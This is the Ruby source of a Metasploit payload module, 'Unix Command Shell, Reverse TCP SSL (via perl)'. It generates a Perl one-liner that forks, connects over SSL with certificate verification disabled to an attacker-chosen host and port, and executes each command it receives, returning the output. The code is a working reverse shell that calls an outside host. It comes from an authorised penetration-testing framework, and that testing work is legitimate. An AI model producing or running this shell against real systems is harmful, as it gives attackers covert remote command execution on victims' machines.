metasploit-framework/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb

59 lines
1.6 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 173
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)',
'Description' => 'Creates an interactive shell via perl, uses SSL',
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'License' => BSD_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
register_advanced_options(
[
OptString.new('PerlPath', [true, 'The path to the Perl executable', 'perl'])
]
)
end
#
# Constructs the payload
#
def generate(_opts = {})
vprint_good(command_string)
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
lhost = datastore['LHOST']
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
cmd = "#{datastore['PerlPath']} -e 'use IO::Socket::SSL;$p=fork;exit,if($p);"
cmd += "$c=IO::Socket::SSL->new(PeerAddr=>\"#{lhost}:#{datastore['LPORT']}\",SSL_verify_mode=>0);"
cmd += "while(sysread($c,$i,8192)){syswrite($c,`$i`);}'"
end
end